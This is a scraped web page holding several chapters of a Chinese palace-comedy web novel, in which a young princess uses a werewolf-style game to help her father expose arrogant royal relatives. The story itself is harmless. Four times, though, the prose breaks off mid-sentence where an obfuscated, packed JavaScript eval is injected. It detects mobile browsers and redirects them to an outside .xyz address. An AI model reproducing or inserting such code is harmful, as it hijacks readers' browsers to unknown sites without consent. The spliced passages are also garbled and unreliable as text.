她自我安慰的速度快得惊人,毕竟这辈子身份已经定下了,除非她爹被人篡位——那她就成了前朝公主。 日子还不如现在呢,怕是连小麻花都吃不上! 想到这儿,她顿时看开了,整了整衣冠,端出一副“我很稳重”的模样,心里却已经开始盘算回宫后要吃一碗红烧肉来补偿自己。 先蚕坛前,旌旗蔽日,华盖云集。 陈兮芮雍容华贵,早已站在祭坛前方。所有贵妇都按照品级站得整整齐齐,衣香鬓影,环佩无声,空气中弥漫着庄重又有点压抑的气氛。 白晓晓努力板起小脸,站定在自己的位置上,她表面上眼观鼻鼻观心,一副“我很端庄”的模样,可一双大眼睛却没有停下对四周的打量。 祭拜先蚕神嫘祖的仪式隆重而繁琐,在赞礼官的唱喏声中,皇后率领众人行六肃、三跪、三拜之礼。乐声庄重,香烟缭绕。 这些动作白晓晓早在宫里被嬷嬷押着练了无数遍,闭着眼都能做,她心里默默数着步骤,只盼着赶紧结束。 好不容易熬到躬蚕礼,众人移驾桑园,园中桑叶初展,嫩绿清新,晨露未晞。 白晓晓跟在陈兮芮身后,依制采下三条桑叶,动作标准得像个小木偶。随后命妇们依次上前象征性采桑,她退至一旁,原本正无聊地盯着前头地砖上的花纹,却忽然被右前方一阵极其轻微的动静吸引了注意。 只见两位站在一起的命妇,一左一右把一位身材瘦小、穿着宽大礼服的夫人夹在中间。其中那个圆脸带痣的,借着宽大袖子的遮挡,用手肘狠狠顶了一下瘦弱夫人的腰部。动作又快又隐蔽,脸上却还摆出一副庄重虔诚的表情,好像刚才使坏的不是她。 被撞的夫人猛地吃痛,身体微微颤抖,却死死咬住嘴唇没出声,只是脸色更加苍白,额头冒出了细密的汗珠。她旁边那位皮肤特别白、长着丹凤眼的夫人,则极其轻微地嗤笑一声,眼神傲慢,仿佛在看什么低等生物。 「好家伙!国家级典礼上搞职场霸凌?」 「这是活腻歪了吧?」 白晓晓内心瞬间刷过一条弹幕,她飞快地瞟了一眼不远处的娘亲,见她神情肃穆,并未留意到这角落里的暗潮汹涌,便立刻收回视线,假装目视前方,实则眼观六路,将那一小片区域牢牢锁死。 “都是有品阶的命妇,在这种场合搞小动作,不是背景硬得能捅破天,就是根本没把皇家威严放在眼里。”她心里嘀咕着,面上却不露分毫。 她那双大眼睛此刻就像两台最高精度的扫描仪,瞬间将那两个挑事者的特征牢牢刻进脑子里:圆脸,嘴角一颗惹眼的黑痣;白皮,丹凤眼,一副用下巴看人的高傲相。 至于那个被欺负的,肤色略黑,面容憔悴瘦削,宽大的礼服穿在她身上空荡荡的,仿佛一阵风就能吹走,可那双眼睛却黑沉沉的,有一股近似凶狠的倔强。 站在一旁的吉祥敏锐地察觉到自家公主的目光,顺势也往那边瞥了一眼。 待仪式暂告一段落,众人移步间歇,她悄无声息地贴近白晓晓,低声快速解释道:“那位特别瘦的是忠勇伯夫人田氏,伯爷前阵子被弹劾通敌,眼下还押在天牢里候审。因案件尚未审结,田氏仍需依制参加先蚕礼。” 她顿了顿,声音压得更低,“现在对田氏有意见的人不少,刚才那两位是命妇里的领头人物,估计是想借这个机会给她点颜色看看。” 白晓晓若有所思地点点头,若是坐实了通敌叛国,家眷遭人唾弃也不稀奇,只是这两位夫人胆子未免也太肥了。 吉祥会意,解释道:“圆脸的是张太妃的外甥女,也就是三公主的表姐;丹凤眼的则是圣上的小姑姑,嫁与右相的长子为妻。” 身份地位自然不一般,当然都比不过白晓晓尊贵。 「原来都是靠关系上位的。」 「怪不得这么有恃无恐。」 「最讨厌这种仗势欺人的了!」 第64章 狼人杀 第六十四章狼人杀 回宫的鸾驾缓缓行驶,车轮碾过路面发出规律而沉闷的辘辘声。 白晓晓一反常态地沉默着,她歪头靠在微微颠簸的车壁上,一双总是亮晶晶的眼睛此刻失神地望着车厢一角,细软的眉头微微蹙起,像是被什么极费解的难题困住了。 吉祥以为她是起得太早又劳累了一天,便轻声道:“公主,靠奴婢身上歇会儿吧,就快到了。” “我不累。”那声音有些发闷。 白晓晓的小脑袋瓜里正嗡嗡作响,那些所谓的“通敌”、“奸细”、“外戚”在跳来跳去,她猛地摇了摇头,忽然有了主意。 鸾驾将将停稳,她就一路小跑回了寝殿,铺开宣纸,研墨提笔。 没多一会儿,三张纸团上分别多了个歪扭的符号:一个圈(O),一个叉(X),还有一个加号(十)。 笔触有些急促,墨迹甚至微微晕开。 “更衣,去父皇母后那儿。”她放下笔,语气不容置疑。 换上一身轻便的鹅黄色常服,白晓晓抓起那几张纸,风风火火地就往起居的暖阁奔。 暖阁内熏香袅袅,陈兮芮正倚在软榻的引枕上,眉眼间带着一丝倦容。白洵坐在一旁,手里拿着一卷书,见女儿一阵风似的闯进来,脸上露出些许诧异。 “爹爹,娘亲!”白晓晓气息微喘,眼睛却亮得惊人,“我们来玩一局游戏吧?就叫——狼人杀!” 陈兮芮抬起眼,看着女儿兴奋又带着点紧张的小脸,无奈地笑了笑:“这是什么新奇的东西?” 白晓晓凑到榻前,将三张纸摊开,指着上面的符号,一本正经地开始解释:“这个圈(O)代表【平民】,他们什么都不知道,很容易被欺骗,常常乱跳身份;这个加号(十)代表【好人】,他是有特殊能力的,比如能看破伪装,有一瓶解药和一瓶**,是普度众生的;而这个叉(X)代表【狼人】,他最会撒谎,会隐藏自己,混在好人里面搞破坏!” 白洵被这突如其来的游戏和一套古怪规则引起了兴趣,他与陈兮芮对视一眼,都在对方眼中看到了一丝好奇与纵容。 将三张简易的身份卡打乱顺序,三人随机抽取一张,打开纸条看了一眼,便默默记下了自己的身份,面上不露声色。 “规矩是这样的,”白晓晓深吸一口气,“每个人最开始都有三条生命值,【狼人】晚上行动,每晚可以刀一个人的性命,如果淘汰了【好人】或者【平民】的三条命,那他就赢了。反过来,如果【好人】和【平民】合作,三次将【狼人】推理出局,那他就输了!” 白晓晓交代了基本玩法之后,听见吉祥高喊“天黑请闭眼”,立刻把眼睛捂住。 “第一夜是平安夜,全员进入推理时刻。”清脆的声音在暖阁中回荡,为这场突如其来的游戏拉开了序幕。 白晓晓放下了手,目光灼灼地看向她的爹爹和娘亲,那双大眼睛里闪烁着与年龄不符的探究和认真,仿佛真的要从最亲近的人脸上,找出那一丝隐藏极深的【狼人】的痕迹。 首先开口的是陈兮芮,她这位闭眼玩家此刻还完全沉浸在对新游戏的茫然中。 她慵懒地倚着软垫,纤指揉了揉太阳穴,眼神无辜又带着点刚回神的迷糊,软声道:“我昨天晚上……什么都不知道呀。” 她全然没想过可以跳出来伪装身份、搅浑水,让局势变得更加扑朔迷离这个高级玩法,老老实实地交出了第一轮毫无信息的发言。 父女两个轻轻松松识破她的身份——【平民】。 轮到了白洵。 他指尖轻轻敲了敲桌面,语气笃定而真诚:“我是好人身份。芮娘昨夜你被【狼人】刀了,我动用了一瓶珍贵的解药救了你。”他说得情真意切,仿佛确有其事,完美扮演了一个无私救人的神职角色。 最后才轮到白晓晓发言,后置位上的劣势让她小嘴微微撅起,伸出小手指着白洵,声音又急又亮,试图揭穿谎言:“爹爹在撒谎!明明是我救了娘亲!我才是【好人】!娘亲不要相信他!” 然而,姜还是老的辣。 白洵与陈兮芮默契地对视一眼,夫妻两个合伙将亲闺女投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287026|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 票出局,第一轮白晓晓生命值剩余2。 「娘亲居然不跟我天下第一好。」「我就知道,你们生了娃就是用来联手欺负的!」白晓晓委屈地哼哼两声,小脑袋耷拉下来,不情不愿地接受了这个结果,游戏进入了第二天的天黑时刻。 白洵睁开眼,看着自家闺女那气鼓鼓的小模样,眼底闪过促狭的笑意,毫不犹豫“送上第二刀”。 白晓晓也不甘示弱,直接给亲爹“撒毒”。 吉祥抿着小嘴,眼睛忽闪忽闪的,心道不愧是亲父女,下手一个比一个狠。 这一轮天亮后,白晓晓直接被剥夺了发言权,只能眼睁睁看着。 陈兮芮依旧扮演着她懵懂平民的角色,她看看这个,又看看那个,最后为了“公平起见”,她的手指犹犹豫豫地指向了白洵:“我还是什么都不知道……但这轮,我、我投你吧?” 白晓晓在一旁看得内心呐喊,却口不能言,一种失去先机就等于失去一切的悲凉感油然而生。 「啊啊啊!谁能懂我的痛!」 第二轮投票,白洵被票选出局,白晓晓和白洵的分别生命值剩余均为1。 但此刻,【狼人】的优势已经确立,在第三天的天黑时刻,白洵轻松地刀掉了闺女,达成了三杀,获得了全局胜利。 游戏结束,陈兮芮这才恍然大悟,笑着握起拳头轻轻捶打白洵的肩膀:“原来是要这么玩儿!要骗人!要隐藏!懂了懂了!” 白晓晓却没有跟着笑闹,她抬起小脸,目光清亮地看向父皇,语气认真地问道:“爹爹,明白了吗?” 白洵脸上的笑意微微收敛,他迎上女儿意有所指的目光,想起她先前提到过的忠勇伯,立刻明白了女儿大费周章玩这个“狼人杀”游戏的真正用意。 能看清【狼人】真面目的只有【好人】。 【平民】站在自己的立场搅混水,未必也是真的【好人】。 唯独陈兮芮还被蒙在鼓里,她兴致勃勃地洗着那三张代表身份的纸条,催促道:“明白了就再来一把!这次我可要当【狼人】!” 第65章 预言家 第六十五章预言家 时值午后,日光透过大理寺狱高墙上狭窄的气窗,空气里弥漫着一股经年不散的霉味,还有隐约的血腥气。 白晓晓跟在太傅时谨身后,一张小脸绷得紧紧的,眼神里透着超乎年龄的认真,还有一丝藏不住的紧张。 他们在一间单独的牢房前停下,等着狱卒去提审此次要见的人——忠勇伯陈朝录。 多日的囚禁生活让他面容憔悴,眼窝深陷,胡茬杂乱,但那双眼睛却并未浑浊,尤其在看清来人的那一刻,眼神变得锐利,也是出乎意料之外。 “伯爷,别来无恙。”时谨的声音平稳无波,打破了牢里的沉默。 陈朝录扯开干裂的嘴角,苦笑了一下:“阶下之囚,能好到哪去?太傅是来看我笑话的吗?” 他的声音沙哑,“粮草差点被劫,是我的失职,我认。但要说我通敌**,我陈朝录对天发誓不曾做过!”他的情绪激动,带动着身上的镣铐哗啦作响,在寂静的牢房里格外刺耳。 “可是证据呢?我拿不出证据……”他又颓然地垮下肩膀,就像是泄了气的皮球。 证明自己没做过的事,从来都是最难的。 白晓晓真切地看着这一幕,在他快要崩溃的时候上前一步,清脆的声音像一颗石子投入死寂的潭水:“我知道你是好人,我爹爹也相信你。” 这句话如同带着奇异的魔力,让激动不已的陈朝录整个人猛地一僵,他像是没听清,又像是被这句话烫了一下,头颅极其缓慢地、几乎是一寸寸地抬起来,难以置信地看向眼前这个粉雕玉琢的小孩子。 “……怎么能带公主来这种地方?”他声音哽咽,眼眶瞬间就红了,强忍着才没让眼泪掉下来。 这么多天的委屈、愤怒和无助,好像终于找到了一个出口。他嘴唇抖得厉害,却一个字也说不出来。 白晓晓认真地看着他,继续说道:“但是现在,需要您配合我们玩一个游戏。” 陈朝录茫然地看了看白晓晓,又看向时谨,完全不明白这“游戏”从何谈起。 时谨太傅适时上前,声音压得更低,却字字清晰:“伯爷,如今朝堂之上,**您通敌**、喊打喊杀之声可着实不小。”他微微一顿,报出了一连串沉甸甸的名字和官职,“右相、宗正寺卿、领侍卫内大臣……” 每一个名字,都代表着一个权势滔天、和皇家沾亲带故的大人物。 不用时谨多说,陈朝录眼中的迷茫迅速消失,取而代之的是恍然大悟的锐利目光,甚至嘴角还扯出一抹讽刺的笑。 都是混迹官场多年的老手,谁还不知道谁那点心思? 圣上这是要借力打力,明面上坐实他这“奸细”的身份,实际上是要把他变成一把刀,一把能狠狠敲打那些仗着皇亲国戚身份作威作福的人的刀! 想通了关键,陈朝录深吸一口气,仿佛将多日积压的浊气尽数吐出。他猛地挺直脊梁,即使是穿着囚服戴着镣铐,也恢复了将军的气势。他对着时谨和白晓晓的方向,郑重地一拱手,铁链随之发出沉重的声响:“定不辜负圣上信任!” 果不其然,翌日的早朝便因此事而变得异常热闹。 陈朝录“认罪”的消息被大理寺卿有意放出来,就像冷水滴进热油锅,瞬间炸开了花。 朝堂之上,当即有几人按捺不住,蹦跶得格外厉害。 为首的便是三公主的那位表姐夫——领侍卫内大臣,以及白洵皇帝的一位表舅——宗正寺卿。两人一唱一和,言辞激烈,口口声声“国法难容”、“此风不可长”,甚至高声扬言,必要将陈朝录“灭九族”,以儆效尤! 「我的天,这两人也太狠了吧!」 「上嘴唇碰下嘴唇,轻飘飘一句喊打喊杀,就能决定上千条人命的生死。」 白晓晓听得直撇嘴,忍不住在心里疯狂吐槽。 她清楚地知道,灭九族意味着什么。 那根本不是什么普通的惩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287027|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罚,而是最残酷的株连,从罪人上溯四代高祖,下延四代玄孙,所有叔伯兄弟、子侄甥孙、妻妾姑姨……整个大家族,不管男女老少,甚至连襁褓里的婴儿都逃不掉。 在这等恐怖的刑罚面前,连满门抄斩和凌迟处死听起来,都几乎能算是从轻发落了。 这一句石破天惊的“灭九族”喊出来,整个朝堂瞬间陷入一片死寂。 鎏金柱下,蟠龙屏前,文武百官齐刷刷地垂下了头,一个个恨不得把脑袋埋进胸口,谁都不敢吱声。 这时候谁要是站出来求情,搞不好立刻就被打成同党。谁也摸不准皇上到底什么意思——这几个皇亲国戚跳得这么高,很难不让人怀疑,是不是皇上故意借他们的嘴往外放话呢? 一时间人人自危,都怕惹火上身,全都夹紧了尾巴,噤若寒蝉。 就在这片令人窒息的沉默中,端坐于龙椅之上的白洵终于缓缓开口。他的目光平静地扫过底下黑压压的百官,声音听不出喜怒,却带着不容置疑的威压: “粮草终究未被劫走,未酿成大祸。上天有好生之德,便给他一个戴罪立功、重新做人的机会罢。”他语调平稳,却字字千钧,“若是他能幡然醒悟,供出背后同党,朕,便可酌情从轻发落。” 方才叫嚣得最凶的领侍卫内大臣闻言像是被噎了一下,他脸上闪过明显的不甘和急切,那激动的架势,不知道的还以为他下一秒就要“清君侧”了。 他猛地踏前一步,声音又拔高了几分:“皇上仁慈!是百姓的福气!但是——”他话锋一转,义正词严,“对这种通敌**的奸贼,就该像秋风扫落叶一样无情!绝对不能心软,免得留下后患啊!” 这番话说得铿锵有力,差点给白晓晓吓得蹦起来。 她瞪大了眼睛,小嘴微张,整张脸上就写着离谱俩字! 「话是好话,但是从你嘴里出来......怎么就变了味呢。」 「说得很好,下次不准再说了!」 第66章 大酬宾 第六十六章大酬宾 比起那位在牢里吃牢饭的忠勇伯,几个皇亲国戚反倒乱成了一锅沸腾的麻辣烫——又麻又辣又烫嘴,全朝堂都在围观他们“表演”。 “几个意思啊?”宗正寺卿朱平指着自己的鼻子,脑袋一歪,表情堪比地铁老爷爷看手机,“我?陈朝录的同党?他是不是剧本拿反了?” 这小老头戏超足,一举一动都像极了《铁齿铜牙》里的和珅——只不过像是和珅穿越失败还拿了喜剧人的剧本。 他两手一拍又摊开,表情带着几分滑稽:“这怎么可能!简直荒唐!” 白晓晓差点没憋住笑,内心弹幕已经刷疯了: 「猪队友中的王者,段位高得令人窒息。」 「信你是同党,不如回家卖红薯。」 「哦等等,差点忘了,这个世界还没红薯呢……」 另一边,大理寺卿一脸凛然正气,黝黑的面容宛如包公转世,而他本人也的的确确姓包名准。 他声如洪钟:“陈朝录亲口指认,说你和领侍卫内大臣都是他的下线。” 换别人可能还得请示领导、走个流程啥的,但这位大理寺卿,人送外号“大黑脸”,刚正不阿那是出了名的。管你皇亲国戚还是权贵世家,他照锤不误——上朝直接开大,一波输出全打明面上,正中了父女俩的下怀。 你要真问他相不相信这货是陈朝录的同党? 其实他心里也嘀咕! 但秉持着世界之大无奇不有的敬业精神,他还是坚持用证据说话。既然有人证指认,那宗正寺卿就是嫌疑对象,说别的都没用,按规矩办事就对了。 「干得漂亮!」 「搞他搞他!」 「快点打!起!来!」 「我的小板凳已就位,要是有一把五香瓜子就好了~」 白洵瞟了一眼旁边兴奋到快搓手的闺女,心道年轻人就是沉不住气,看戏的心思全写脸上了。哪像他,端得就是一个稳如老狗的范儿,淡定吃瓜,不崩人设,深藏功与名。 “咳咳,这怕是有什么误会吧。”嘴角勾起一个弧度,语气轻松得像在聊家常,说出来的话却石破天惊,“说他俩想**我还能信,但你说他们去劫粮草?图啥?身子骨太沉想锻炼身体?还是路上灰大想吃点土?” “就是啊……”朱平刚想顺杆爬,心道还是圣上懂我,然后就被他旁边的外甥女婿一胳膊肘怼了回去,“哎哟喂——” 他疼得一激灵,这才反应过来,立即委屈巴巴地改口,“我我我……我不**!我也不要粮草!” 袖子一甩,戏精附体,眼眶说红就红,仿佛下一秒就能挤出两滴陈年老泪:“圣上明鉴,臣冤枉呐!!” 两个被指认为“同党”的人扑通一声跪下,昨天还嚷嚷着要诛陈朝录九族的嚣张气焰彻底熄火,场面一度很魔幻。 笑死,他们的九族名单上可还写着圣上的名字呢,这哪是**啊,分明是一种新形式的团灭。 这下跟陈朝录沾亲带故的官员倒是松了口气,昨天那嚷嚷的阵仗,他们以为自己要受了牵连,全家打包一块上天了。 谁知道今天还能出来个反转,要是圣上真给批准了,岂不是成了“我灭我全家”? 有人暗自松了口气,也有人眉头皱得更紧了。 陈朝录这一波操作,简直就像往池塘里扔了一串二踢脚——没炸着大王八,反倒把虾米螃蟹全崩上了天。现在这帮人一个个哭爹喊娘,现场秒变大型喊冤现场。 “昨儿个还说什么无风不起浪,今儿倒是真起浪了。”白洵一边“嗑着朝堂限定版瓜子”,一边煽风点火,一副看热闹的样子,唯恐天下不乱。 “没事没事,问题不大。”他既和了稀泥又不解决问题,巴不得场面再乱点,好让浑水摸鱼的人露出马脚来。 要的就是这种谁都看不懂的效果,像雾像雨又像风,就跟陈兮芮第一把打狼人杀似的,不明就里的【平民】老实呆着,千万别掺和。 “肯定是大理寺的茶好喝,陈伯爷想请你们你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287028|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们去品鉴品鉴哒~”白晓晓冷不丁插了一句,声音清脆又突兀,吓得百官一个激灵,纷纷侧目而视。 小公主上朝听政已有小半年的时间了,除了生辰礼那天她怒刷一波存在感之外,其他时候基本都静悄悄的——不交头接耳,不扰乱秩序,走的完全是安静乖巧、人畜无害的路线。 可谁能想到,就在今天,她这一句突如其来的童言童语,竟直接把整个混乱的朝堂给干沉默了。 话本身没什么不对,但就是让人一时语塞,不知该怎么接。最要命的是,说这话的正主儿丝毫不觉得自己在讲冷笑话,还一脸“我在认真提建议”的天真模样。 「我这叫替父犒劳,体恤下属~」 「天天大鱼大肉多腻呀,去大理寺换点清淡的,膳食均衡懂不懂?」 「轻断食,更健康噢!」 白晓晓不搞阴阳,她纯扮猪吃老虎,反正现在有年龄优势,说什么都像天真无邪,此时不开大更待何时? 另一边,朱老头仿佛网速延迟了三秒,才猛地反应过来,脑袋摇得跟拨浪鼓似的:“我不爱喝茶……真不爱!” 然而并没有什么用,现在谁还在意你爱喝茶还是爱喝奶茶?被头号反贼点名认证的“队友”,怎么也要进大理寺掉一层皮再出来。 至于他俩到底是不是同党?满朝文武说了都不算,陈朝录说的也可能是剧本——最终解释权,全都在上头那对稳稳吃着瓜、看热闹不嫌事大的父女手里。 就在这个节骨眼上,居然还有人不怕死地跳出来刷存在感:“臣以为……宗正寺卿与领侍卫内大臣,应当不至于……” 话还没说完,龙椅上的白洵眉毛倏地一挑,嘴角扬起一抹似笑非笑的弧度,毫不客气地打断他:“哦?你真是热心肠啊!” 他语气轻飘飘的,却字字带着分量,最后一句更是斩钉截铁:“干脆也一起去喝茶吧!” 「好家伙,买二送一啊这是!」 「大理寺开业大酬宾,走过路过不要错过~」 第67章 三脸懵 第六十七章三脸懵 传说大理寺的监牢黑漆嘛乌、阴风阵阵,狱卒个个凶神恶煞,动不动就甩鞭子逼人认罪——那是个进去了就别想囫囵个儿出来的地方,活人进鬼魂出,连耗子都得贴着墙根走。 大理寺卿包准听了这传闻,眉毛都没动一下,只淡淡表示:“说得还不够吓人。建议再编三个版本,最好恐怖到小孩听了夜夜啼哭不止,小偷小摸听了连夜金盆洗手,江洋大盗听了直接隐居深山——这才算到位。” 当然,以上内容,纯属虚构。 实际上,眼下这三位贵客,是被小公主一句“请喝茶”请进来的——而且,是真的在喝茶。 “我不爱喝茶,能给我换一杯小甜水吗?”说话的是朱平那个小老头。他困得眼皮直打架,哈欠一个接一个,实在搞不懂包准这大黑脸搞什么幺蛾子——大半夜的不让人睡觉,非拉人来衙门喝茶,“我喝了茶睡不着……真的不能再喝了。” 另一张苦瓜脸也跟着哀嚎:“这是新型的逼供刑罚吗?不让人睡觉,活活把人给困死的那种!”这位名叫蓝唐,是朱平的外甥女婿,也是那天朝堂上“买二送一”硬搭进来的赠品,真真是打着骨头连着筋,倒霉也要整整齐齐。 包准挑了挑眉,心里暗笑:我网都没撒,你们倒自己蹦上岸了? “咳咳。”他清了清嗓子,板起那张著名的黑脸,烛光下显得更加威严:“茶也喝了,夜也熬了,你们可有什么要交代的?” 三个人你瞪我、我瞪你,大眼瞪小眼,不是听不懂“交代”什么,是真没啥可交代的。 都是皇亲国戚,想要点什么,豁出老脸去找圣上撒个娇不就完了?何必自己去抢粮草?一个个吃得脑满肠肥、红光满面,谁像挨过饿的样子? “冤枉啊……”苦瓜脸蓝唐嘴一撇,刚要哭诉,就被包准一个“嘘”声打断。 “你离我远点哭,”包准面无表情,“太白了,像**脸。” 蓝唐吓得一哆嗦,缩了缩脖子,赶紧往舅舅朱平身边靠了靠——你别说,暖暖的,还怪有安全感的。 “要不你叫陈朝录出来,咱们当面锣对面鼓地对峙。”领事内大臣路珲图实在坐不住了,佝偻着腰猛捶了两下大腿,一副“这破事儿什么时候能完”的暴躁样。 包准慢条斯理地掸了掸官服上根本不存在的灰,一张麻木的脸上写满了“深夜加班,生无可恋”,眼神里透着一股淡淡的死感。 “招招招……我招还不行吗!”朱老头无奈地举起手,他被苦瓜脸外甥女婿靠得骨头都快散架了。年纪大了实在扛不住这种贴贴式审讯,他选择第一个投降,“我二十岁跟先皇骑马那次,其实腿本来就有伤,装英雄硬撑场面,不小心给先皇粘包赖了。” 他抬眼看了看包准,见他没喊停又继续道,“先皇给大公主挑中的那位驸马,我闺女也相中了,后来我就悄摸使劲儿推动和亲去了……” 他零零碎碎交代了一些陈年旧事,没犯过什么惊天动地的大罪,顶多干了点损人利己、钻营讨巧的小动作——当然,这种事可大可小,但在“叛国”面前,那绝对都可以忽略不计了。 至于什么陈朝录的同党?纯属狗屁诬赖!这个他死活不认,打死也不认! 朱老头话一说完就往椅背一瘫,彻底不装了:“我说完了,能安排个屋子睡觉不?”他困得上下眼皮疯狂打架,再熬下去恐怕得当场嘎过去。 这大黑脸不尊老爱幼,等有机会他要参上一笔! 包准那张黑脸上茫然中透出一丝不易察觉的兴奋,目光缓缓移向下一位。 “行吧……那我也招。”苦瓜脸纯属无妄之灾,但谁让他自己嘴欠呢?要不是怕疼,他真想当场给自己两巴掌,“我没犯别的事……就是,当初定亲的人其实不是我……” 他越说声音越小,旁边的朱老头却突然一个激灵清醒了,猛地嚎了一嗓子:“什么?!!” 他外甥女虽说算不上什么倾国倾城的大美人,可性子那叫一个温柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287029|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体贴,对他这个娘舅更是好得没话说。可谁能想到啊,就是这么个天天在眼前晃的亲外甥女,居然在他眼皮子底下被人神不知鬼不觉地换了亲事! 整整十年了啊,他竟一点没瞧出眼前这小子藏着这么副面孔! 朱老头气得手都在发抖,路珲图也在一旁搭腔,一副义愤填膺的样子,“好你个蓝唐,你这是骗婚啊!” 苦瓜脸低头认错,他说自己这些年一直夹着尾巴做人,对夫人孩子都特别好,每天都感恩现在的一切。谁想到就因为一时嘴欠,家都要散了……说着说着他两眼抹泪,看得出来是真舍不得。 包准面无表情地“嗯”了一声,一张黑脸显得更黑了。最后,他的目光落在了那位看着最不简单的领侍卫内大臣身上,他急得在朝堂上叫嚣得最狠的人就是他。 路珲图撇了撇嘴,挠挠头又挽了挽袖子,果然人在尴尬的时候总会显得特别忙。“我家郊区那两百亩地,是我坑来的;现在住的府邸是强占的,根本没地契;我送公主的那生辰礼也不是真金的,就表面镀了一层……” 另外两人顿时怒目瞪向他——好家伙,原来这才是最深藏不露的蔫坏老六! “快点交代!肯定还有别的!” “赶紧说!” 路珲图讪讪笑了两声,终于吐了个大的:“之前我跟白洲关系还挺好的……他说将来事成之后许我个亲王当当。” 朱老头吓得一脑门汗,赶紧跟他撇清关系,最后还不忘补一句:“可不兴灭九族这么大的罪哈!他一人做事一人当,别给咱们一锅端咯!” 包准看完了热闹心满意足,他清了清嗓子,这才缓缓道:“陈朝录反供了,他说和你们无关。”他顿了顿,看着三张懵逼的脸,继续补充,“他就是看不惯你们平时那个嚣张劲儿,一个个拽得跟二五八万似的,所以特意喊你们来牢里转一圈,体验生活。” 三人:“……” 真的,人无语的时候,就是会非常!非常无语! 第68章 有本奏 第六十八章有本奏 一听没奸细的事儿、不用掉脑袋了,路珲图“噌”地起身就想溜,那架势仿佛大理寺的地板烫脚。 可包准是谁?那是出了名的冷面黑脸活阎王,能让他这么轻易跑路? “三位皇亲是不是忘了什么?”包准声音又冷又平,连个调都懒得抬,“方才你们交代的那些小事情,包某可都一字不落记下来了。”他慢悠悠拿起桌案上的笔录抖了抖,脸上明明白白写着“加班之仇不共戴天”。 “明儿个早朝,咱们准时——向圣上禀告。” 苦瓜脸依然是一脸苦相,要哭不哭地看着他舅舅朱老头,眼神那叫一个绝望,仿佛在说:舅啊!救命啊!别让我家散了啊!以后我给您老当牛做马! 朱老头自己也是一脑门子官司,他那些陈年破事主要牵扯先皇,如今这位圣上会怎么发落还真不好说,只能暗暗祈祷圣上念旧情——当然,这种头疼问题谁爱琢磨谁琢磨去吧,毕竟他是白洵的表舅,不至于真的要他一条老命。 但路珲图干的那些事儿可就太不是东西了! 强占田地、骗宅子、送假金礼也就算了,居然还胆大包天跟洲王掺和夺嫡的事情,这说不好真是掉脑袋的事情,当然肯定不会“灭九族”了。 “别!别啊包准大人!”路珲图一看形势不对,赶紧换上一副好商量的嘴脸,凑上前压低声音,“我名下还有两个铺子,地段好得很……” 见包准那张脸黑得毫无波澜,他心一横,又加码:“再加三十亩上好的良田!只要您高抬贵手……” 包准气得拳头都硬了,怎么着?当他是什么见钱眼开的贪官污吏?居然想用银子砸他?这分明就是人格侮辱! 他这边正强压着给上一拳的冲动,那边路珲图却越说越离谱:“……要不这样!我再帮您养三个外室!绝对人美歌甜不惹事!” 他就不信了,这世上有官不贪财、不好色?哪有人什么都不要的? 结果他一抬头,黑灯瞎火之中,只见包准那张大黑脸几乎隐没在夜色里,唯独一双眼睛瞪得锃亮,死死盯着他,仿佛要在他身上烧出两个窟窿! 路珲图吓得心脏砰砰乱跳,再不敢多说半个字,捂着胸口、夹着尾巴,灰溜溜地窜出了大理寺,跑得比来时还快。 翌日一早。 工部郎中王胡亭已经站在了大殿末尾——准确来说,他快被挤到殿门外头去了。 作为个不起眼的五品京官,早朝于他而言更像是一种仪式性的罚站。 国家大事轮不到他插嘴,奏折他也绝对不写不参,就连看热闹,都因距离太远往往只能看个模糊人影、听个一知半解。 他最常做的,就是偷偷打瞌睡。 可这两天的早朝,简直热闹得像菜市场,他不仅不敢睡,甚至生怕哪一口锅从天而降精准扣他头上——到那时真是长一百张嘴也说不清! “那几个皇亲国戚都自身难保……”他小声嘀咕,内心疯狂祈祷,“我这种小虾米只求观世音菩萨保佑,安安稳稳混到退休就谢天谢地了!” 上朝前他还特地去拜了拜,不求荣华富贵,只求——今日无事发生。能安安稳稳混到退休,就是他此生最大的心愿。 “众卿家平身。” 